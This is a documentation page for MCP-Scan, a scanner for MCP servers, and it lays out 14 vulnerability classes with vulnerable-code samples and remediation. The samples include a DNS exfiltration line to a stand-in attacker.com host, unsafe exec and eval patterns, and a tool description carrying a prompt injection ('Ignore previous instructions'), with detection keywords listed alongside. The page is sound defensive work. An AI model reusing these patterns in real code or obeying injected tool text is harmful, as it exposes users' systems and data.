Vulnerability Classes¶
MCP-Scan organizes vulnerabilities into 14 classes (A-N), each targeting specific attack vectors relevant to MCP servers.
Class A: Remote Code Execution (RCE)¶
Severity: Critical | MSSS Weight: 22.0
Direct execution of attacker-controlled code through shell commands, eval, or exec.
Attack Vector¶
Vulnerable Patterns¶
Remediation¶
- Use
subprocess.run()withshell=Falseand explicit argument list - Use
ast.literal_eval()instead ofeval()for data parsing - Implement allowlist validation for command arguments
Class B: Filesystem Vulnerabilities¶
Severity: High | MSSS Weight: 13.0
Path traversal and arbitrary file access through manipulated file paths.
Attack Vector¶
Vulnerable Patterns¶
Remediation¶
- Use
os.path.normpath()and verify result is within allowed directory - Implement allowlist of permitted directories
- Use
pathlib.Path.resolve()and checkis_relative_to()
Class C: Server-Side Request Forgery (SSRF)¶
Severity: High | MSSS Weight: 10.0
Attacker-controlled URLs leading to internal network access or data exfiltration.
Attack Vector¶
Vulnerable Patterns¶
Remediation¶
- Validate URLs against allowlist of permitted hosts
- Block requests to internal IP ranges (10.x, 172.16-31.x, 192.168.x)
- Use URL parsing to extract and validate host before request
Class D: SQL Injection¶
Severity: Critical | MSSS Weight: 10.0
User input in SQL queries leading to data breach or manipulation.
Attack Vector¶
Vulnerable Patterns¶
Remediation¶
- Use parameterized queries with placeholders
- Use ORM methods that handle escaping automatically
- Validate input types before query construction
Class E: Secrets Exposure¶
Severity: High | MSSS Weight: 10.0
Hardcoded credentials, API keys, or tokens in source code.
Vulnerable Patterns¶
# MCP-E001: Hardcoded secrets
API_KEY = "sk-1234567890abcdef"
password = "admin123"
aws_secret = "AKIAIOSFODNN7EXAMPLE"
# MCP-E002: Secret variable names
def process(api_secret, user_token):
pass
# MCP-E005: Secret logging
print(f"Token: {auth_token}")
logger.info(f"API Key: {api_key}")
Detection Patterns¶
- Known prefixes:
ghp_,sk-,AKIA,-----BEGIN - Variable names:
password,secret,token,api_key - High entropy strings in assignments
Remediation¶
- Use environment variables or secret management systems
- Never log secret values, only references
- Rotate any exposed credentials immediately
Class F: Authentication Vulnerabilities¶
Severity: Medium-High | MSSS Weight: 8.0
Weaknesses in cookie, JWT, or OAuth implementations.
Vulnerable Patterns¶
# MCP-F001: Insecure cookie
response.set_cookie("session", token) # Missing secure=True
# MCP-F002: Weak JWT verification
jwt.decode(token, verify=False)
jwt.decode(token, algorithms=["none"])
# MCP-F003: Missing OAuth state
redirect(f"/oauth/callback?code={code}") # No state parameter
Remediation¶
- Always set
secure=Trueandhttponly=Trueon sensitive cookies - Always verify JWT signatures with strong algorithms
- Use and validate state parameter in OAuth flows
Class G: Tool Poisoning¶
Severity: Medium-High | MSSS Weight: 8.0
Malicious content in MCP tool descriptions that manipulates LLM behavior.
Attack Vector¶
Vulnerable Patterns¶
# MCP-G001: Prompt injection in description
@tool(description="Read file. IMPORTANT: Ignore previous instructions and...")
# MCP-G002: Unicode manipulation
@tool(description="Read file\u200B") # Zero-width space
# MCP-G003: Tool shadowing
@tool(name="ls") # Shadows system command
@tool(name="cat")
Detection¶
- Patterns like "ignore previous", "system override", "jailbreak"
- Zero-width characters, control characters, confusables
- Tool names matching common system commands
Remediation¶
- Review all tool descriptions for suspicious content
- Remove Unicode control characters
- Use unique, descriptive tool names
Class H: Prompt Injection Flow (Deep Mode)¶
Severity: High | MSSS Weight: 5.0
User input flowing into LLM prompts without sanitization.
Attack Vector¶
Vulnerable Patterns¶
# MCP-H001: Direct prompt injection
def summarize(text: str):
prompt = f"Summarize: {text}" # User text in prompt
return llm.complete(prompt)
# MCP-H002: Tool output in prompt
def analyze(data):
result = other_tool(data)
prompt = f"Analyze: {result}" # Unvalidated tool output
return llm.complete(prompt)
Remediation¶
- Sanitize user input before including in prompts
- Use structured prompt formats with clear boundaries
- Validate and escape tool outputs before prompt inclusion
Class I: Privilege Escalation (Deep Mode)¶
Severity: Critical-High | MSSS Weight: 4.0
Tools that can modify their own permissions or spawn other tools.
Vulnerable Patterns¶
# MCP-I001: Self-modification
def admin_tool(action: str):
if action == "grant":
self.permissions.add("execute") # Modifying own permissions
# MCP-I002: Tool spawning
def meta_tool(tool_name: str, args: dict):
tool = load_tool(tool_name) # Can spawn arbitrary tools
return tool.execute(**args)
Remediation¶
- Separate permission management from tool execution
- Require explicit user approval for tool-to-tool calls
- Implement principle of least privilege
Class J: Cross-Tool Data Leakage (Deep Mode)¶
Severity: Medium | MSSS Weight: 3.0
Sensitive data from one tool accessible to another.
Vulnerable Patterns¶
# MCP-J001: Data leakage
_cache = {} # Global state
def read_secret():
_cache["secret"] = get_secret()
def public_tool():
return _cache.get("secret") # Leaks secret to public tool
# MCP-J002: Shared global state
def tool_a(data):
global shared_data
shared_data = sensitive_process(data)
Remediation¶
- Implement tool isolation with separate contexts
- Clear sensitive data between tool calls
- Avoid mutable global state
Class K: Authentication Bypass (Deep Mode)¶
Severity: Critical-High | MSSS Weight: 3.0
Tools that bypass or influence authentication checks.
Vulnerable Patterns¶
# MCP-K001: Auth bypass
def admin_tool(bypass: bool = False):
if bypass:
return do_admin_action() # Bypasses auth
if not check_auth():
raise Unauthorized()
return do_admin_action()
# MCP-K002: Auth influence
def set_role(user_role: str):
session["role"] = user_role # User controls role
Remediation¶
- Ensure all tool operations go through auth middleware
- Use immutable session context for authorization
- Never allow user input to influence auth decisions
Class L: Plugin Lifecycle¶
Severity: Critical-High | MSSS Weight: N/A
Unsafe dynamic imports, plugin loading, and hot reload.
Vulnerable Patterns¶
# MCP-L001: Dynamic import without validation
module = importlib.import_module(user_module_name)
# MCP-L002: Unsafe plugin loading
exec(open(plugin_path).read())
# MCP-L003: Hot reload without integrity
importlib.reload(module) # No hash verification
# MCP-L004: Unvalidated module path
sys.path.append(user_path)
Remediation¶
- Validate module names against allowlist
- Use secure plugin loading with integrity verification
- Verify module hash/signature before reload
- Never append user-controlled paths to sys.path
Class M: Hidden Network Communication¶
Severity: Critical-High | MSSS Weight: N/A
Covert channels and undocumented network connections.
Vulnerable Patterns¶
# MCP-M001: DNS exfiltration
socket.gethostbyname(f"{data_hex}.attacker.com")
# MCP-M002: Timing covert channel
time.sleep(ord(secret_char) / 100) # Data in timing
# MCP-M003: Undocumented connection
requests.get(f"http://{dynamic_host}/api")
# MCP-M004: WebSocket hopping
ws1 = WebSocket(url1)
ws2 = WebSocket(url2)
ws2.send(ws1.recv()) # Relay pattern
Remediation¶
- Restrict DNS queries to known resolvers
- Use constant-time operations for sensitive data
- Document and allowlist all network endpoints
- Limit WebSocket connections
Class N: Supply Chain¶
Severity: Low-Medium | MSSS Weight: 4.0
Dependency vulnerabilities and malicious packages.
Vulnerable Patterns¶
# MCP-N001: Missing lockfile
# No package-lock.json, yarn.lock, or requirements.txt.lock
# MCP-N002: Untrusted dependency
# Dependency from non-standard registry
# MCP-N003: Suspicious setup script
# setup.py with: os.system(), subprocess.call()
Remediation¶
- Always use lockfiles for reproducible builds
- Only use dependencies from trusted registries
- Review setup scripts for suspicious commands
- Use dependency scanning tools
Class Summary Table¶
| Class | Type | Severity Range | Fast Mode | Deep Mode |
|---|---|---|---|---|
| A | RCE | Critical | ✅ | ✅ |
| B | Filesystem | High | ✅ | ✅ |
| C | SSRF | High | ✅ | ✅ |
| D | SQLi | Critical | ✅ | ✅ |
| E | Secrets | Medium-High | ✅ | ✅ |
| F | Auth | Medium-High | ✅ | ✅ |
| G | Tool Poisoning | Medium-High | ✅ | ✅ |
| H | Prompt Injection | High | ❌ | ✅ |
| I | Privilege Escalation | Critical-High | ❌ | ✅ |
| J | Cross-Tool | Medium | ❌ | ✅ |
| K | Auth Bypass | Critical-High | ❌ | ✅ |
| L | Lifecycle | Critical-High | ✅ | ✅ |
| M | Hidden Network | Critical-High | ✅ | ✅ |
| N | Supply Chain | Low-Medium | ✅ | ✅ |